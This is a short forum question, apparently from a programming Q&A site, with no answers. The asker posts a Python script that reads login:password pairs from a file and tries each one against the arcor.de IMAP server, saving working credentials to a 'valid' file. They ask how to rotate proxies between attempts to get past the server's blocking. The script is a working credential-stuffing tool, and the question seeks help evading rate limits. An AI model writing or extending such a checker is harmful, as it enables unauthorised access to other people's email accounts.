Python IMAPClient proxy

350 Views Asked by At

I am writing a simple checker based on IMAPClient. In a loop, we go line by line from the file, divide by login \ password, and substitute it into IMAPClient. The problem is as expected with the handshake from the server. It is necessary to change the proxy in a cycle, but there is no such option in the IMAPClient. Can I change proxies in a loop regardless of this library? If so, how? OS? socket?

file_sval = io.open("...arcor.de", encoding="utf-8")
for i in file_sval:
    stroke = i.split(":")
    login = stroke[0]
    password = stroke[1].replace("\n", "")
    server = IMAPClient('imap.arcor.de', use_uid=True)
    try:
        valid = server.login(login, password)
        print(count," ", i.replace("\n",""), " ", "VALID")
        file_valid = io.open("...valid.de", "a", encoding="utf-8")
        file_valid.write(i)
        file_valid.close()
    except imaplib.IMAP4.error:
        print(count," ", i.replace("\n","")," ", "NO")
    count += 1
0

There are 0 best solutions below